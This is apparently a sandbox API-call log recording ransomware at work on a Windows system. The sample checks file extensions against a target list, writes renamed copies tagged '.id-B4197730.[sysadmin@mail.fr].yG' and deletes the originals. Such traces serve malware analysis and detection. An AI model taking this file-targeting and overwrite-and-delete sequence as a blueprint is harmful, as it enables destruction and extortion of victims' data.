	[0135.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.017] lstrlenW (lpString=".doc") returned 4
	[0135.017] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.017] lstrlenW (lpString=".docx") returned 5
	[0135.017] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0135.017] lstrlenW (lpString=".pdf") returned 4
	[0135.017] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.017] lstrlenW (lpString=".xls") returned 4
	[0135.017] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.017] lstrlenW (lpString=".xlsx") returned 5
	[0135.017] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0135.017] lstrlenW (lpString=".ppt") returned 4
	[0135.017] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.017] lstrlenW (lpString=".zip") returned 4
	[0135.017] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.017] lstrlenW (lpString=".rar") returned 4
	[0135.017] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.017] lstrlenW (lpString=".bz2") returned 4
	[0135.017] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.017] lstrlenW (lpString=".7z") returned 3
	[0135.017] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.017] lstrlenW (lpString=".dbf") returned 4
	[0135.017] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.018] lstrlenW (lpString=".1cd") returned 4
	[0135.018] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.018] lstrlenW (lpString=".jpg") returned 4
	[0135.018] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.018] lstrlenW (lpString=".doc") returned 4
	[0135.018] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString=".docx") returned 5
	[0135.018] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0135.018] lstrlenW (lpString=".pdf") returned 4
	[0135.018] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString=".xls") returned 4
	[0135.018] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString=".xlsx") returned 5
	[0135.018] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0135.018] lstrlenW (lpString=".ppt") returned 4
	[0135.018] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.018] lstrlenW (lpString=".zip") returned 4
	[0135.018] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString=".rar") returned 4
	[0135.018] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.018] lstrlenW (lpString=".bz2") returned 4
	[0135.019] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.019] lstrlenW (lpString=".7z") returned 3
	[0135.019] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.019] lstrlenW (lpString=".dbf") returned 4
	[0135.019] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.019] lstrlenW (lpString=".1cd") returned 4
	[0135.019] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0135.019] lstrlenW (lpString=".jpg") returned 4
	[0135.019] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.019] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0135.019] lstrlenW (lpString="auxbase.xml") returned 11
	[0135.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.025] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=1434) returned 1
	[0135.025] CloseHandle (hObject=0x390) returned 1
	[0135.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0135.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.025] lstrlenW (lpString=".doc") returned 4
	[0135.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.026] lstrlenW (lpString=".docx") returned 5
	[0135.026] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0135.026] lstrlenW (lpString=".pdf") returned 4
	[0135.026] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.026] lstrlenW (lpString=".xls") returned 4
	[0135.026] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.026] lstrlenW (lpString=".xlsx") returned 5
	[0135.026] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0135.026] lstrlenW (lpString=".ppt") returned 4
	[0135.026] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.026] lstrlenW (lpString=".zip") returned 4
	[0135.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.026] lstrlenW (lpString=".rar") returned 4
	[0135.026] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.026] lstrlenW (lpString=".bz2") returned 4
	[0135.026] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.026] lstrlenW (lpString=".7z") returned 3
	[0135.026] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.026] lstrlenW (lpString=".dbf") returned 4
	[0135.026] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.026] lstrlenW (lpString=".1cd") returned 4
	[0135.026] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.027] lstrlenW (lpString=".jpg") returned 4
	[0135.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.027] lstrlenW (lpString=".doc") returned 4
	[0135.027] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.027] lstrlenW (lpString=".docx") returned 5
	[0135.027] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0135.027] lstrlenW (lpString=".pdf") returned 4
	[0135.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.027] lstrlenW (lpString=".xls") returned 4
	[0135.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.027] lstrlenW (lpString=".xlsx") returned 5
	[0135.027] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0135.027] lstrlenW (lpString=".ppt") returned 4
	[0135.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.027] lstrlenW (lpString=".zip") returned 4
	[0135.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.027] lstrlenW (lpString=".rar") returned 4
	[0135.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.027] lstrlenW (lpString=".bz2") returned 4
	[0135.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.028] lstrlenW (lpString=".7z") returned 3
	[0135.028] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.028] lstrlenW (lpString=".dbf") returned 4
	[0135.028] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.028] lstrlenW (lpString=".1cd") returned 4
	[0135.028] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0135.028] lstrlenW (lpString=".jpg") returned 4
	[0135.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.028] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0135.028] lstrlenW (lpString="insertbase.xml") returned 14
	[0135.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.034] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=903) returned 1
	[0135.034] CloseHandle (hObject=0x390) returned 1
	[0135.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20
	[0135.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0135.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0135.066] lstrlenW (lpString=".doc") returned 4
	[0135.066] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.066] lstrlenW (lpString=".docx") returned 5
	[0135.066] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0135.066] lstrlenW (lpString=".pdf") returned 4
	[0135.066] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.066] lstrlenW (lpString=".xls") returned 4
	[0135.066] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.066] lstrlenW (lpString=".xlsx") returned 5
	[0135.066] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0135.066] lstrlenW (lpString=".ppt") returned 4
	[0135.066] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0135.066] lstrlenW (lpString=".zip") returned 4
	[0135.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.067] lstrlenW (lpString=".rar") returned 4
	[0135.067] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.067] lstrlenW (lpString=".bz2") returned 4
	[0135.067] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.067] lstrlenW (lpString=".7z") returned 3
	[0135.067] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0137.604] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0137.604] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0137.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.257] GetLastError () returned 0x0
	[0138.257] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xe04, lpOverlapped=0x0) returned 1
	[0138.368] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xe10, lpOverlapped=0x0) returned 1
	[0138.369] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.369] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.370] SetEndOfFile (hFile=0x4a0) returned 1
	[0138.370] CloseHandle (hObject=0x4a0) returned 1
	[0138.370] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.370] SetEndOfFile (hFile=0x428) returned 1
	[0138.373] CloseHandle (hObject=0x428) returned 1
	[0138.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1
	[0138.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.375] lstrlenW (lpString=".doc") returned 4
	[0138.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.375] lstrlenW (lpString=".docx") returned 5
	[0138.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.375] lstrlenW (lpString=".pdf") returned 4
	[0138.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.375] lstrlenW (lpString=".xls") returned 4
	[0138.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.375] lstrlenW (lpString=".xlsx") returned 5
	[0138.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.375] lstrlenW (lpString=".ppt") returned 4
	[0138.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.375] lstrlenW (lpString=".zip") returned 4
	[0138.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.375] lstrlenW (lpString=".rar") returned 4
	[0138.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.376] lstrlenW (lpString=".bz2") returned 4
	[0138.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.376] lstrlenW (lpString=".7z") returned 3
	[0138.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.376] lstrlenW (lpString=".dbf") returned 4
	[0138.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.376] lstrlenW (lpString=".1cd") returned 4
	[0138.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.376] lstrlenW (lpString=".jpg") returned 4
	[0138.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.376] lstrlenW (lpString=".doc") returned 4
	[0138.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.376] lstrlenW (lpString=".docx") returned 5
	[0138.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.376] lstrlenW (lpString=".pdf") returned 4
	[0138.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.376] lstrlenW (lpString=".xls") returned 4
	[0138.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.376] lstrlenW (lpString=".xlsx") returned 5
	[0138.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.377] lstrlenW (lpString=".ppt") returned 4
	[0138.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.377] lstrlenW (lpString=".zip") returned 4
	[0138.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.377] lstrlenW (lpString=".rar") returned 4
	[0138.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.377] lstrlenW (lpString=".bz2") returned 4
	[0138.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.377] lstrlenW (lpString=".7z") returned 3
	[0138.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.377] lstrlenW (lpString=".dbf") returned 4
	[0138.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.377] lstrlenW (lpString=".1cd") returned 4
	[0138.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0138.377] lstrlenW (lpString=".jpg") returned 4
	[0138.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.378] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.378] lstrlenW (lpString="DD01167_.WMF") returned 12
	[0138.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.378] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2080) returned 1
	[0138.378] CloseHandle (hObject=0x428) returned 1
	[0138.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220
	[0138.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.386] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.386] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.387] GetLastError () returned 0x0
	[0138.387] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x820, lpOverlapped=0x0) returned 1
	[0138.473] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x830, lpOverlapped=0x0) returned 1
	[0138.474] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.474] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.474] SetEndOfFile (hFile=0x4a0) returned 1
	[0138.498] CloseHandle (hObject=0x4a0) returned 1
	[0138.517] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.518] SetEndOfFile (hFile=0x428) returned 1
	[0138.537] CloseHandle (hObject=0x428) returned 1
	[0138.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1
	[0138.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.540] lstrlenW (lpString=".doc") returned 4
	[0138.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.540] lstrlenW (lpString=".docx") returned 5
	[0138.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.540] lstrlenW (lpString=".pdf") returned 4
	[0138.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.540] lstrlenW (lpString=".xls") returned 4
	[0138.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.540] lstrlenW (lpString=".xlsx") returned 5
	[0138.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.540] lstrlenW (lpString=".ppt") returned 4
	[0138.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
